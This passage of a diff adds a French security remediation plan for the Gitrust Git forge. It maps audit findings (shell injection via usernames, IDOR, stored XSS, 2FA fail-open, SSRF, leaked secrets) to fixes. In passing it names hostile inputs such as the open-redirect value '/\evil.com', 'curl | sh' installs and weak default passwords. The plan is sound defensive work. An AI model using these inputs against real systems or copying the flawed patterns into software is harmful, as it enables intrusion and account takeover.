| 1082 | +19. Après 0040 : appel `authenticate_user` sans passer par le handler refuse l’email non vérifié si setting true. | |
| 1083 | +20. Après 0039 : une app peut setter COOP `same-origin` sans forker `app.rs` ; défaut CSP inchangé. | |
| 1084 | + | |
| 1085 | +--- | |
| 1086 | + | |
| 1087 | +## Vérification finale | |
| 1088 | + | |
| 1089 | +```bash | |
| 1090 | +cargo test --workspace | |
| 1091 | +cargo clippy --workspace -- -D warnings | |
| 1092 | +cargo audit | |
| 1093 | +cargo doc --workspace --no-deps | |
| 1094 | +``` | |
| 1095 | + | |
| 1096 | +```bash | |
| 1097 | +git grep -nE 'unwrap_or\(false\)|is_ok_and|if let Ok\(Some' \ | |
| 1098 | + crates/rustwarden-core/src/middleware/auth_service.rs | |
| 1099 | +``` | |
| 1100 | + | |
| 1101 | +Attendu : plus de fail-open TOTP / user lookup / blacklist sur la branche protégée. | |
| 1102 | + | |
| 1103 | +```bash | |
| 1104 | +git grep -n 'RateLimitService::new()' \ | |
| 1105 | + crates/rustwarden-core/src/services/password_reset_service.rs \ | |
| 1106 | + crates/rustwarden-core/src/services/email_validation_service.rs | |
| 1107 | +``` | |
| 1108 | + | |
| 1109 | +Uniquement dans `get_or_init` / `new_with_limiter` tests. | |
| 1110 | + | |
| 1111 | +--- | |
| 1112 | + | |
| 1113 | +## Rollback (patch 1.0.1) | |
| 1114 | + | |
| 1115 | +| Tâche | Si ça casse en prod | Retour | | |
| 1116 | +|-------|---------------------|--------| | |
| 1117 | +| 1 JWT placeholders | instance refuse de boot | retirer le 5e littéral CLI du tableau, garder les 4 historiques ; secret inchangé | | |
| 1118 | +| 8 Admin complexité | première install refuse de créer l’admin | `CREATE_DEFAULT_ADMIN=false` + créer l’admin à la main, ou mot conforme `PasswordRules` | | |
| 1119 | +| 0/3 ConnectInfo + layer | 429 inattendus derrière un proxy | 1) `TRUSTED_PROXY_HOPS=1` ; 2) revert `routes.rs` **et** restaurer les `check_auth_rate_limit` handlers (sinon `/login` n’a plus de limiteur du tout) | | |
| 1120 | +| 6 Limiteur email | reset légitime 429 | revert `OnceLock` (retour à l’état inerte, disponibilité OK, flood SMTP revient) | | |
| 1121 | +| 11 PG bind | CI distante n’atteint plus 5432 | rétablir le bind dans un overlay compose, **pas** dans le défaut | | |
| 1122 | + | |
| 1123 | +Yank + patch `1.0.2` selon [RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) § rollback 24h/48h. | |
| 1124 | + | |
| 1125 | +--- | |
| 1126 | + | |
| 1127 | +## Changelog de planification | |
| 1128 | + | |
| 1129 | +- 2026-09-17 : plan initial. Écarts vs catalogue Gitrust : logout SSR déjà OK ici ; E-2 déjà OK pour rustwarden-ui ; ajouts fail-open force-2FA, 2FA sans rate-limit IP, bootstrap admin, `sanitize_redirect`, placeholder CLI, PG compose. | |
| 1130 | +- 2026-09-17 (Architect, APPROVE WITH CHANGES) : Task 0 ConnectInfo ; anti-rejeu TOTP in-process en 1.0.1 ; Task 4 → 503 pas `?` ; Task 8 validation seulement à la création ; RFC 0037 step+`rows_affected` ; RFC 0039 capture Arc pas Extension ; Evilginx live en Non-goal. | |
| 1131 | +- 2026-09-17 (Critic APPROVE WITH CHANGES) : nits clippy `_headers`, Expanded Test Plan `CHANGE-ME` accepté, helpers Task 4 nommés, rollback restaure les appels handler, `evict_if_full` follow-up possible sur `check_window`. |
A
docs/remediation_audit_securite_ad2eec33.plan.md
+319
-0
@@ -0,0 +1,319 @@
| 1 | +--- | |
| 2 | +name: Remediation audit securite | |
| 3 | +overview: Plan de remédiation de tous les constats nommés de l’audit (C/E/M + scénarios A–E, faibles en lots), avec solution concrète, apport sécurité, et cible Gitrust vs Rustwarden selon le processus d’évolution (workaround local → UPSTREAM_RUSTWARDEN.md → RFC ou PR, jamais de patch dans la copie vendored). | |
| 4 | +todos: | |
| 5 | + - id: lot0-secrets | |
| 6 | + content: "Lot 0 : rotation secrets, .env.test.example, gitignore dump SQL, JWT placeholder + garde main.rs / deploy.sh (C-4 à C-8, Scénario E)" | |
| 7 | + status: completed | |
| 8 | + - id: lot1-username-rce | |
| 9 | + content: "Lot 1 : newtype Username Gitrust, argv natif ci_worker, containment on_user_deleted, supprimer create_dir_all brut (M-1, C-1, C-2, E-13)" | |
| 10 | + status: completed | |
| 11 | + - id: lot2-authz | |
| 12 | + content: "Lot 2 : can_manage merge_pull, can_push dans ResolvedRepo/ApiRepoContext, scopes PAT, IDOR labels/CI/teams (C-3, E-7 à E-11, M-12, M-13)" | |
| 13 | + status: completed | |
| 14 | + - id: lot3-xss | |
| 15 | + content: "Lot 3 : data-* à la place des onclick/onsubmit, charset labels, override CSP (E-5, E-6, M-10)" | |
| 16 | + status: in_progress | |
| 17 | + - id: lot4-authn | |
| 18 | + content: "Lot 4 : fail-closed 2FA, rate limit login/2FA, email vérifié, complexité MDP, OnceLock reset, logout blacklist (E-1 à E-4, M-2 à M-11)" | |
| 19 | + status: pending | |
| 20 | + - id: lot5-git-ci | |
| 21 | + content: "Lot 5 : bump russh, timeouts git, isolation CI, 404 uniforme, SSRF, ssh-guard caps (E-12, E-14, E-19, M-14 à M-19, M-24)" | |
| 22 | + status: pending | |
| 23 | + - id: lot6-deploy | |
| 24 | + content: "Lot 6 : chmod 600, APP_DEBUG, nginx LE, PG bind, systemd, Docker, setup-remote-ci (E-15 à E-18, M-20 à M-23, M-25)" | |
| 25 | + status: pending | |
| 26 | + - id: upstream-rfcs | |
| 27 | + content: "Catalogue rustwarden : PRs Security (E-3, C-7, M-3, M-8) + RFCs (M-1, M-5, M-7, M-10, E-4) documentées dans UPSTREAM_RUSTWARDEN.md" | |
| 28 | + status: pending | |
| 29 | + - id: lot7-hygiene | |
| 30 | + content: "Lot 7 : paquets F-AUTH / F-UI / F-OPS (faibles et info regroupés)" | |
| 31 | + status: pending | |
| 32 | +isProject: false | |
| 33 | +--- | |
| 34 | + | |
| 35 | +# Plan de remédiation — audit sécurité Gitrust | |
| 36 | + | |
| 37 | +Document source : [docs/SECURITY_AUDIT.md](docs/SECURITY_AUDIT.md). Livrable d’implémentation (après validation) : [docs/plans/security-audit-remediation.md](docs/plans/security-audit-remediation.md), plus mises à jour de [docs/UPSTREAM_RUSTWARDEN.md](docs/UPSTREAM_RUSTWARDEN.md) pour chaque gap framework. | |
| 38 | + | |
| 39 | +**Règle de frontière (non négociable)** : ne jamais modifier `crates/rustwarden-core/`. Un `update-project` écrase tout écart. Les correctifs framework se font dans le dépôt Rustwarden (`~/Documents/devel/Rustwarden`), puis resynchro. En attendant : **workaround Gitrust + entrée datée dans `UPSTREAM_RUSTWARDEN.md`**. | |
| 40 | + | |
| 41 | +```mermaid | |
| 42 | +flowchart TD | |
| 43 | + finding[Constat audit] | |
| 44 | + finding --> where{Où vit le code fautif ?} | |
| 45 | + where -->|gitrust-* / src / deployment| gitrust[Correctif direct Gitrust] | |
| 46 | + where -->|rustwarden-core| gap{Changement d API publique, defaut, schema ou politique secu ?} | |
| 47 | + gap -->|Non: bug interne, dep bump, tests| pr[PR directe upstream patch Security] | |
| 48 | + gap -->|Oui| rfc[RFC docs/rfcs/NNNN-slug.md] | |
| 49 | + rfc --> score[Grille 7 criteres min 25/35] | |
| 50 | + score --> impl[PR d implementation dans le depot Rustwarden] | |
| 51 | + pr --> impl | |
| 52 | + impl --> sync["update-project + bump .rustwarden-version"] | |
| 53 | + gitrust --> workaround{Le framework devrait aussi le garantir ?} | |
| 54 | + workaround -->|Oui| doc[Workaround documente + RFC/PR] | |
| 55 | + workaround -->|Non logique forge| done[Termine cote Gitrust] | |
| 56 | +``` | |
| 57 | + | |
| 58 | +## Règle de classement (rappel processus) | |
| 59 | + | |
| 60 | +D’après [docs/RUSTWARDEN_EVOLUTION_PROCESS.md](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §2 et §11.3 : | |
| 61 | + | |
| 62 | +- **Gitrust seul** : bug/logique métier forge, templates, CI, SSH, déploiement. | |
| 63 | +- **Workaround Gitrust immédiat** : le gap est dans le framework, mais on peut se protéger sans le modifier (valider avant l’appel, `OnceLock`, header CSP override, `register_protected_prefix`). | |
| 64 | +- **PR rustwarden (pas de RFC)** : bug sans changement d’API, bump de dépendance, refactor interne, tests, doc. Les patches **Security** ont une fenêtre d’adoption de 14 jours. | |
| 65 | +- **RFC obligatoire** : item `pub`, comportement par défaut, migration DB, format sérialisé, **politique de sécurité**, nouveau service/middleware. | |
| 66 | + | |
| 67 | +--- | |
| 68 | + | |
| 69 | +## Cartographie des scénarios → constats | |
| 70 | + | |
| 71 | +Chaque scénario est une **chaîne** : on ferme la chaîne en traitant tous les constats listés, pas seulement le premier. | |
| 72 | + | |
| 73 | +- **Scénario A — De l’inscription à la RCE sur l’hôte** : M-1 + E-13 + C-1 (et C-2 en variante destruction). Apport : un compte lambda ne peut plus exécuter de commande sur le processus `gitrust`. | |
| 74 | +- **Scénario B — Écrire dans le dépôt d’un tiers** : C-3 + E-7 + E-8. Apport : l’intégrité Git n’est plus contournable via l’API ou un PAT « lecture ». | |
| 75 | +- **Scénario C — XSS stockée chez le mainteneur / l’admin** : E-5 + E-6 + M-1 + M-10. Apport : le contenu utilisateur n’est plus interprété comme du JavaScript inline. | |
| 76 | +- **Scénario D — Contournement du second facteur** : E-1 + E-2 + E-3 (+ M-7, M-8 en renforcement). Apport : le 2FA redevient une barrière, pas un délai. | |
| 77 | +- **Scénario E — Compromission admin par mot de passe trivial / secrets livrés** : C-4 + C-5 + C-6 + C-7 + C-8. Apport : plus de prise de contrôle à la première tentative ni de forge de JWT avec un secret public. | |
| 78 | + | |
| 79 | +--- | |
| 80 | + | |
| 81 | +## Lot 0 — Secrets et hygiène Git (Scénario E) | |
| 82 | + | |
| 83 | +**Cible : Gitrust + actions opérateur. Aucun code rustwarden.** Ne pas committer de secrets ; rotation hors dépôt. | |
| 84 | + | |
| 85 | +- **C-4** — Secrets de prod dans l’historique (`.env.gitrustmule`, commits `91ff499` / `20dbf23`). | |
| 86 | + - Solution : rotation immédiate de `JWT_SECRET`, mot de passe PG, `ADMIN_PASSWORD`, `SMTP_PASSWORD` sur prod **et** démo ; purge `refresh_tokens` / `sessions` ; puis arbitrage `git filter-repo` (coût : tous les clones à recréer). | |
| 87 | + - Apport : un clone du dépôt ne permet plus de forger un JWT admin ni d’ouvrir la base. | |
| 88 | +- **C-5** — `.env.test` versionné avec secrets de prod. | |
| 89 | + - Solution : `git rm --cached .env.test` ; `.env.test.example` à valeurs ostensiblement factices ; `.gitignore` ; rotation `OAUTH_ENCRYPTION_KEY` et mot de passe PG (identiques à la prod d’après l’audit). | |
| 90 | + - Apport : plus de mot de passe de production dans le dépôt suivi. | |
| 91 | +- **C-6** — `ADMIN_PASSWORD=password` dans 4 fichiers locaux. | |
| 92 | + - Solution : générer un mot de passe fort ; laisser vide pour que le framework génère (déjà prévu si absent) ; ne jamais versionner `.env.production`. | |
| 93 | + - Apport : ferme le Scénario E (login admin trivial). | |
| 94 | +- **C-7** — Placeholder `JWT_SECRET=REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` (36 car.) accepté + `deploy.sh` le promeut. | |
| 95 | + - **Gitrust** : vider la valeur dans `.env.example` ; `deploy.sh` **échoue** s’il n’y a pas de `.env.production` ; garde dans `src/main.rs` refusant les marqueurs `REMPLACER`/`CHANGE`/`EXAMPLE`/`TODO`. | |
| 96 | + - **Rustwarden PR (pas de RFC)** : ajouter ce placeholder à `KNOWN_EXAMPLES` dans `config/auth.rs` (hardening de liste, pas de changement d’API). Documenter dans `UPSTREAM_RUSTWARDEN.md` en attendant le bump. | |
| 97 | + - Apport : une instance déployée « selon le README » ne démarre plus avec un secret public. | |
| 98 | +- **C-8** — Dump SQL 22 Mo non gitignoré. | |
| 99 | + - Solution : déplacer hors arborescence, `chmod 600` ; `.gitignore` : `*.sql`, `/Services/` ; éventuellement hook pre-commit taille max. | |
| 100 | + - Apport : un `git add .` ne publie plus la base utilisateurs. | |
| 101 | + | |
| 102 | +--- | |
| 103 | + | |
| 104 | +## Lot 1 — Username + RCE + FS (Scénario A) | |
| 105 | + | |
| 106 | +Cause racine unique : **M-1**. Un newtype Gitrust + argv natif ferment C-1/C-2/E-13/E-6 même avant le fix framework. | |
| 107 | + | |
| 108 | +- **M-1** — `username` non validé. | |
| 109 | + - **Gitrust immédiat** : newtype `Username` calqué sur [crates/gitrust-core/src/types.rs](crates/gitrust-core/src/types.rs) (`RepoSlug`) : `^[a-z0-9-]{3,39}$`, pas de `--`, pas de tiret en tête/queue, noms réservés (`admin`, `api`, `login`, `settings`, `explore`, …). Appliquer dans `register_submit`, `admin_users`, `update_profile` (avant l’appel framework), et durcir `compute_disk_path` (charset owner). | |
| 110 | + - **Rustwarden RFC** : validation charset dans `UserService::create_user` + `RegisterRequest` (changement de **comportement par défaut** + politique de sécu → RFC obligatoire). Workaround Gitrust documenté jusqu’au merge + `update-project`. | |
| 111 | + - Apport : plus de métacaractères shell, traversée, homoglyphes, collision de routes, XSS via username. | |
| 112 | +- **C-1** — `sh -c` dans [ci_worker.rs](crates/gitrust-core/src/services/ci_worker.rs) `prepare_workspace`. | |
| 113 | + - **Gitrust seul** : recopier le patron [sbom_service.rs](crates/gitrust-core/src/services/sbom_service.rs) (argv natif `git` | `tar`) ; valider `commit_sha` `^[0-9a-f]{40}$`. | |
| 114 | + - Apport : même username malveillant, plus d’interpolation shell → ferme le Scénario A. | |
| 115 | +- **C-2** — `on_user_deleted` sans validation ([gitrust-hooks/src/lib.rs](crates/gitrust-hooks/src/lib.rs)). | |
| 116 | + - **Gitrust seul** : même filtre que `on_user_registered` + canonicalisation + `starts_with(repos_base_path)` avant `remove_dir_all`. Idéal long terme : dériver le chemin de l’`user_id`. | |
| 117 | + - Apport : un rename de compte ne peut plus effacer un répertoire hors base. | |
| 118 | +- **E-13** — `create_dir_all(&form.username)` dans `register_submit` / `admin_users`. | |
| 119 | + - **Gitrust seul** : supprimer le doublon ; s’appuyer sur le hook `on_user_registered` (déjà validé) après validation `Username`. | |
| 120 | + - Apport : plus de création de répertoire hors arborescence à l’inscription. | |
| 121 | + | |
| 122 | +--- | |
| 123 | + | |
| 124 | +## Lot 2 — Autorisation et IDOR (Scénario B) | |
| 125 | + | |
| 126 | +Correctifs **100 % Gitrust**. Motif : le contrôle existe déjà sur l’autre branche (SSR vs API). | |
| 127 | + | |
| 128 | +- **C-3** — `merge_pull` API sans `can_manage` ([api/pulls.rs](crates/gitrust-web/src/handlers/api/pulls.rs)). | |
| 129 | + - Solution : après `resolve_api_repo`, exiger `can_manage` (aligné sur SSR `pull_requests.rs:494`). | |
| 130 | + - Apport : un Reader / anonyme authentifié ne peut plus écrire dans `main` d’un dépôt public. | |
| 131 | +- **E-7** — 9 handlers d’écriture gardés par la lecture seule. | |
| 132 | + - Solution structurante : ajouter `can_push` / `can_manage` à `ResolvedRepo` ([helpers.rs](crates/gitrust-web/src/helpers.rs)) et `ApiRepoContext` ([api/repos.rs](crates/gitrust-web/src/handlers/api/repos.rs)) ; politique forge : close/reopen = auteur **ou** `can_push` ; commenter / créer PR / créer issue = `can_push` (issues publiques : choix produit explicite). | |
| 133 | + - Apport : plus de vandalisme issues/PR sur les dépôts publics. | |
| 134 | +- **E-8** — Scopes PAT décoratifs ([api_auth.rs](crates/gitrust-web/src/extractors/api_auth.rs), [git_http.rs](crates/gitrust-web/src/handlers/git_http.rs)). | |
| 135 | + - Solution : porter `scopes` dans `ApiUser` ; `require_api_write()` sur mutations ; `GitWrite` strict pour `git-receive-pack` ; cases à cocher à la création de PAT (aujourd’hui `DEFAULT_SCOPES` = tout). | |
| 136 | + - Apport : un jeton « lecture » fuité n’autorise plus le push ni l’API d’écriture. | |
| 137 | +- **E-9** — IDOR labels (`find_by_id` nu). | |
| 138 | + - Solution : `LabelService::{update,delete}_for_owner(owner_id, repo_id, label_id)` avec filtre SQL (patron déjà dans `issue_labels.rs`). | |
| 139 | + - Apport : un Maintainer de son bac à sable ne peut plus détruire les labels d’un tiers. | |
| 140 | +- **E-10 / E-11** — IDOR pipelines / variables CI SSR (l’API est déjà correcte). | |
| 141 | + - Solution : comparer `pipeline.repository_id` / scope de variable à `resolved.repo.id` ; idéalement `find_pipeline_in_repo` / `delete_in_scope`. | |
| 142 | + - Apport : plus de lecture de logs (secrets) ni sabotage CI cross-dépôt. | |
| 143 | +- **M-12** — Labels arbitraires à la création d’issue. | |
| 144 | + - Solution : intersecter `form.label_ids` avec `list_all_for_repo` (comme `issue_labels.rs:56`). | |
| 145 | + - Apport : plus de fuite de libellés privés (clients, embargo). | |
| 146 | +- **M-13** — `team_id` non borné au propriétaire. | |
| 147 | + - Solution : vérifier `team.owner_id == repo.owner_id` avant `share_with`. | |
| 148 | + - Apport : un Maintainer temporaire ne peut plus laisser une backdoor d’équipe. | |
| 149 | + | |
| 150 | +--- | |
| 151 | + | |
| 152 | +## Lot 3 — XSS navigateur (Scénario C) | |
| 153 | + | |
| 154 | +**Gitrust** pour les templates ; **Rustwarden RFC** pour la CSP par défaut. | |
| 155 | + | |
| 156 | +- **E-5** — `onclick="… '{{ label.name }}'"` ([issue_detail.html](crates/gitrust-web/templates/repository/issue_detail.html), [labels_suggest.html](crates/gitrust-web/templates/fragments/labels_suggest.html)). | |
| 157 | + - Solution : `data-label-name` + délégation d’événement JS ; `validate_label_name` charset sûr. | |
| 158 | + - Apport : un auteur d’issue ne peut plus exécuter du JS chez le mainteneur. | |
| 159 | +- **E-6** — `onsubmit` avec `username` / `owner/slug` ([user_detail.html](crates/gitrust-web/templates/admin/user_detail.html), [settings.html](crates/gitrust-web/templates/repository/settings.html)). | |
| 160 | + - Solution : même patron `data-expected` ; fermé aussi par M-1. | |
| 161 | + - Apport : un compte fraîchement inscrit ne pwn plus l’admin à l’ouverture de sa fiche. | |
| 162 | +- **M-10** — CSP `unsafe-inline` + `unsafe-eval` ([rustwarden-core/src/app.rs](crates/rustwarden-core/src/app.rs)). | |
| 163 | + - **Gitrust workaround** : `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` après le middleware framework ; retirer `'unsafe-eval'` tout de suite ; extraire les 7 `<script>` inline vers `static/js/` puis retirer `'unsafe-inline'`. | |
| 164 | + - **Rustwarden RFC** : changement de **politique de sécurité par défaut** (CSP). Alternative : API `security_headers_config` additive (non-breaking, score grille plus haut). | |
| 165 | + - Apport : même XSS future ne s’exécute plus (défense en profondeur du Scénario C). | |
| 166 | + | |
| 167 | +--- | |
| 168 | + | |
| 169 | +## Lot 4 — Authentification et 2FA (Scénario D) | |
| 170 | + | |
| 171 | +Mix Gitrust immédiat / PR ou RFC rustwarden. | |
| 172 | + | |
| 173 | +- **E-1** — Fail-open TOTP dans [auth.rs](crates/gitrust-web/src/handlers/auth.rs) (et `force_2fa_check` `unwrap_or(false)`). | |
| 174 | + - **Gitrust seul** : `Err` → page d’erreur, pas de JWT. Même fail-closed dans le middleware. | |
| 175 | + - Apport : une saturation PG ne désactive plus le second facteur. | |
| 176 | +- **E-2** — Pas de rate limit sur `POST /login` SSR. | |
| 177 | + - **Gitrust** : `OnceLock<RateLimitService>` (patron [import.rs](crates/gitrust-web/src/handlers/repository/import.rs)) clés `login_ip:` et `login_user:` ; `limit_req` nginx en défense. | |
| 178 | + - **Rustwarden RFC (optionnelle, plus tard)** : exposer le limiteur auth aussi sur les routes browser, pas seulement `/api/v1/auth/login`. En attendant le workaround suffit. | |
| 179 | + - Apport : brute-force et DoS bcrypt bornés ; réduit la capacité à provoquer E-1. | |
| 180 | +- **E-3** — Anti-brute-force TOTP compte les challenges saturés *(upstream)*. | |
| 181 | + - **Gitrust palliatif** : rate limit `totp:<user_id>` + IP sur `POST /login/2fa`. | |
| 182 | + - **Rustwarden PR Security (pas de RFC)** : bug interne, signatures inchangées — sommer `attempts` sur 15 min, plafond global (ex. 15). Si l’on considère que c’est un changement de politique, RFC courte ; recommandation : **PR patch Security** (comportement *voulu* cassé). | |
| 183 | + - Apport : plus de 4 essais × N challenges illimités (Scénario D). | |
| 184 | +- **E-4** — Login SSR ignore `EMAIL_VALIDATION_REQUIRED` ; register n’envoie pas le mail. | |
| 185 | + - **Gitrust** : après `authenticate_user`, lire `AppSettingsService::get_bool(..., "validation_email_required")` et bloquer si `!email_verified` ; à l’inscription appeler `EmailValidationService::send_validation_email` (service déjà utilisé). Attention : admin bootstrap est `email_verified=false` — prévoir exception ou le marquer vérifié à la création. | |
| 186 | + - **Rustwarden RFC** si l’on veut que `AuthService::authenticate_user` refuse les emails non vérifiés **par défaut** (changement de comportement pour toutes les apps). Workaround Gitrust d’abord. | |
| 187 | + - Apport : plus de comptes usurpateurs d’email opérationnels immédiatement. | |
| 188 | +- **M-2** — Politique mot de passe absente à l’inscription / reset. | |
| 189 | + - **Gitrust** : appeler `validate_password_complexity` avant `hash_password` dans `register_submit` et `reset_password_submit`. | |
| 190 | + - **Rustwarden PR/RFC** : `PasswordResetService::reset_password` doit valider lui-même (le commentaire « Validate and hash » est mensonger). PR si on considère un bug ; RFC si nouveau contrat public. | |
| 191 | + - Apport : plus de mot de passe `a` via « mot de passe oublié », y compris admin. | |
| 192 | +- **M-3** — Rate limit email inerte (nouvelle instance par requête). | |
| 193 | + - **Gitrust** : `OnceLock<PasswordResetService>` / `EmailValidationService` + limiteur IP. | |
| 194 | + - **Rustwarden PR** : limiteur partagé (static / injecté) — bug interne, pas d’API publique nécessairement. Documenter le workaround. | |
| 195 | + - Apport : plus de flood SMTP / harcèlement par reset. | |
| 196 | +- **M-4** — Pas de ré-auth pour 2FA off, email, clé SSH, PAT. | |
| 197 | + - **Gitrust** : exiger `current_password` (et TOTP si actif) sur ces POST. Logique métier forge/UI. | |
| 198 | + - Apport : un cookie volé ne suffit plus à prendre le compte définitivement. | |
| 199 | +- **M-5** — Changement d’email conserve `email_verified` *(upstream)*. | |
| 200 | + - **Gitrust palliatif** : si un handler Gitrust change l’email, forcer `email_verified=false` via API existante si possible ; sinon ne pas exposer le changement d’email tant que le framework n’est pas corrigé. | |
| 201 | + - **Rustwarden RFC** : flux confirmation nouvelle adresse + alerte ancienne (comportement + probablement table/pending). Obligatoire RFC. | |
| 202 | + - Apport : plus de vol de compte par substitution d’email « déjà vérifié ». | |
| 203 | +- **M-6** — Logout SSR ne blacklist pas le JWT. | |
| 204 | + - **Gitrust** : appeler `JwtBlacklistService` (déjà utilisé par le logout API framework). | |
| 205 | + - Apport : « se déconnecter » sur un poste public coupe l’accès en cours. | |
| 206 | +- **M-7** — Pas d’anti-rejeu TOTP *(upstream, schéma DB)*. | |
| 207 | + - **Gitrust palliatif** : mémoriser `(user_id, hash(code))` 90 s dans un `RateLimitService` statique. | |
| 208 | + - **Rustwarden RFC** : colonne `last_used_step` → **RFC obligatoire** (migration). | |
| 209 | + - Apport : un code intercepté (Evilginx) n’est plus rejouable. | |
| 210 | +- **M-8** — `bcrypt::verify` synchrone sur backup codes *(upstream)*. | |
| 211 | + - **Gitrust palliatif** : couvert par le rate limit E-3/E-2. | |
| 212 | + - **Rustwarden PR** : `spawn_blocking` + comparaison sans court-circuit. Pas de RFC (interne). | |
| 213 | + - Apport : plus de DoS du runtime Tokio via `/login/2fa`. | |
| 214 | +- **M-9** — Squat d’empreinte SSH + oracle. | |
| 215 | + - **Gitrust** : message d’erreur indistinguable ; idéalement preuve de possession (défi signé). Auth SSH : lier username présenté ↔ owner de la clé. | |
| 216 | + - Apport : un attaquant ne peut plus bloquer la clé GitHub d’une victime ni l’usurper en SSH. | |
| 217 | +- **M-11** — Open redirect `/\evil.com`. | |
| 218 | + - **Gitrust** : normaliser `\` → `/` avant le test `starts_with('/') && !starts_with("//")`. | |
| 219 | + - Apport : plus de phishing post-login depuis une URL gitrust légitime. | |
| 220 | + | |
| 221 | +--- | |
| 222 | + | |
| 223 | +## Lot 5 — Git, SSH, CI, DoS | |
| 224 | + | |
| 225 | +**100 % Gitrust** (crates git/ssh/ssh-guard/core). | |
| 226 | + | |
| 227 | +- **E-12** — CVE russh 0.58 pré-auth. | |
| 228 | + - Solution : `russh` / `russh-cryptovec` ≥ 0.60.3 ; adapter `Handler` si l’API a bougé ; `cargo audit --deny warnings` dans Dagger. Bumps `h2`, `rustls`, `bcrypt`, `quick-xml`, `ammonia` (hygiène ; ammonia non exploitable ici). | |
| 229 | + - **Rustwarden PR** : bump `bcrypt` / `rustls` / `h2` dans le `Cargo.toml` framework (dépendances transitives). Gitrust peut quand même forcer via `[patch]` temporaire — à éviter ; préférer bump workspace + PR upstream pour bcrypt. | |
| 230 | + - Apport : plus de DoS mémoire anonyme sur :2222. | |
| 231 | +- **E-14** — Pas de timeout / limite pack. | |
| 232 | + - Solution : `tokio::time::timeout` autour de `child.wait()` ; `DefaultBodyLimit` sur routes git ; `receive.maxInputSize` / `receive.fsckObjects`. | |
| 233 | + - Apport : un client ne peut plus saturer CPU/disque par un receive-pack infini. | |
| 234 | +- **E-19** — Runner CI colocalisé (`CI_REMOTE_HOST=localhost` par défaut). | |
| 235 | + - Solution : si `APP_DEBUG=false`, refuser `localhost` ou warn fatal ; `env -i` pour `dagger call` ; doc opérateur : runner séparé, pas de socket Docker sur l’hôte forge. | |
| 236 | + - Apport : le code CI d’un tenant n’est plus root sur la machine qui tient les dépôts privés. | |
| 237 | +- **M-14** — Oracle 401 vs 404 (web + git). | |
| 238 | + - Solution : 404 uniforme pour « inaccessible » ; redirect login seulement si cookie de session *présent*. | |
| 239 | + - Apport : plus d’énumération de noms de dépôts privés. | |
| 240 | +- **M-15** — Env git héritée. | |
| 241 | + - Solution : `env_clear()` + PATH/HOME minimaux ; binaire git en chemin absolu. | |
| 242 | + - Apport : `LD_PRELOAD` / `GIT_CONFIG` du process ne fuite plus vers le pack protocol. | |
| 243 | +- **M-16** — SSRF import (DNS rebinding / redirects). | |
| 244 | + - Solution : résoudre, valider **toutes** les IP, pinner ; re-valider les `Location:` ; couvrir `fe80::/10` et IPv4-mapped. | |
| 245 | + - Apport : un import ne peut plus viser 169.254.169.254. | |
| 246 | +- **M-17** — Markdown/syntect sans plafond. | |
| 247 | + - Solution : cap body issue/PR/commentaire (64–256 KiB) ; timeout / fallback texte au-delà d’un seuil de highlight. | |
| 248 | + - Apport : plus de DoS CPU à l’affichage d’une issue. | |
| 249 | +- **M-18 / M-19** — Store ssh-guard non borné ; `MAX_CONCURRENT_PER_IP` jamais branché. | |
| 250 | + - Solution : cap LRU sur le `Vec` d’événements ; brancher le compteur dans le listener. | |
| 251 | + - Apport : flood SSH ne fait plus exploser la RAM ; limite de connexions effective. | |
| 252 | +- **M-24** — `rm -rf` distant CI jamais awaité. | |
| 253 | + - Solution : awaiter le cleanup ; workspace imprévisible par pipeline. | |
| 254 | + - Apport : plus de fuite de code entre tenants sur le runner partagé. | |
| 255 | + | |
| 256 | +--- | |
| 257 | + | |
| 258 | +## Lot 6 — Déploiement et durcissement opérateur | |
| 259 | + | |
| 260 | +**Gitrust / ops uniquement.** | |
| 261 | + | |
| 262 | +- **E-15** — `.env` distant pas en `600` : `chmod 600` + `chown gitrust` après rsync dans [deploy.sh](deployment/deploy.sh). | |
| 263 | +- **E-16** — `APP_DEBUG=true` en prod : `false` + `COOKIE_SECURE=true` ; refuse de démarrer si HTTPS public + debug. | |
| 264 | +- **E-17** — snakeoil nginx : Let’s Encrypt par défaut, snakeoil commenté, doc certbot. | |
| 265 | +- **E-18** — PG `0.0.0.0:5432` + `pass3ord` : `127.0.0.1:5432` + `${POSTGRES_PASSWORD:?}`. | |
| 266 | +- **M-20** — `curl | sh` / `source .env` : SHA épinglés, parse `KEY=value` sans shell. | |
| 267 | +- **M-21** — systemd : retirer `CAP_NET_BIND_SERVICE` ; ajouter bounding set, seccomp, `MemoryMax`. | |
| 268 | +- **M-22 / M-23** — Docker : épingler images, Syft versionnée, healthcheck, retirer `DATABASE_URL` du `ENV` image. | |
| 269 | +- **M-25** — `deployment/root@gitrust.ebii.fr` : `git rm` + ignore `deployment/*@*`. | |
| 270 | + | |
| 271 | +Apport global du lot : une instance déployée par un tiers n’écoute plus Postgres sur Internet, n’envoie plus de cookies en clair, n’installe plus de binaires non vérifiés. | |
| 272 | + | |
| 273 | +--- | |
| 274 | + | |
| 275 | +## Lot 7 — Faibles / info (regroupés) | |
| 276 | + | |
| 277 | +Pas de ticket unitaire : trois paquets, après les lots 0–6. | |
| 278 | + | |
| 279 | +**F-AUTH (Gitrust + 2 RFC)** | |
| 280 | +`must_change_password` ignoré en SSR (`register_protected_prefix("/dashboard")` etc., lié au plan [rustwarden-a3-protected-prefixes-migration.md](docs/plans/rustwarden-a3-protected-prefixes-migration.md)) · 2FA obligatoire vs API (jeton d’enrôlement) · `POST /logout` + CSRF · rotation refresh avec grâce · scopes PAT UI (déjà E-8) · `session.cycle_id()` · complexité admin bootstrap (**Rustwarden PR** `AdminConfig`) · reset password révoque PAT/SSH. | |
| 281 | + | |
| 282 | +**F-UI** | |
| 283 | +CSRF manquant sur le form delete user (403 aujourd’hui — bug fonctionnel) · XSS `confirm()` rôle admin · couleur label hexdigits · `allowed_classes` Markdown · `Cache-Control: no-store` dépôts privés · secrets CI masqués dans l’API JSON · COOP/CORP (**Rustwarden RFC** en-têtes, ou override Gitrust). | |
| 284 | + | |
| 285 | +**F-OPS** | |
| 286 | +`deploy_ebii.conf` gitignoré · `.dockerignore` `.env*` · `RUST_LOG=info` · journal d’audit chaîné ou export append-only · `gitleaks`/`trufflehog` + `cargo audit` bloquant Dagger. | |
| 287 | + | |
| 288 | +--- | |
| 289 | + | |
| 290 | +## Catalogue upstream à ouvrir (ordre) | |
| 291 | + | |
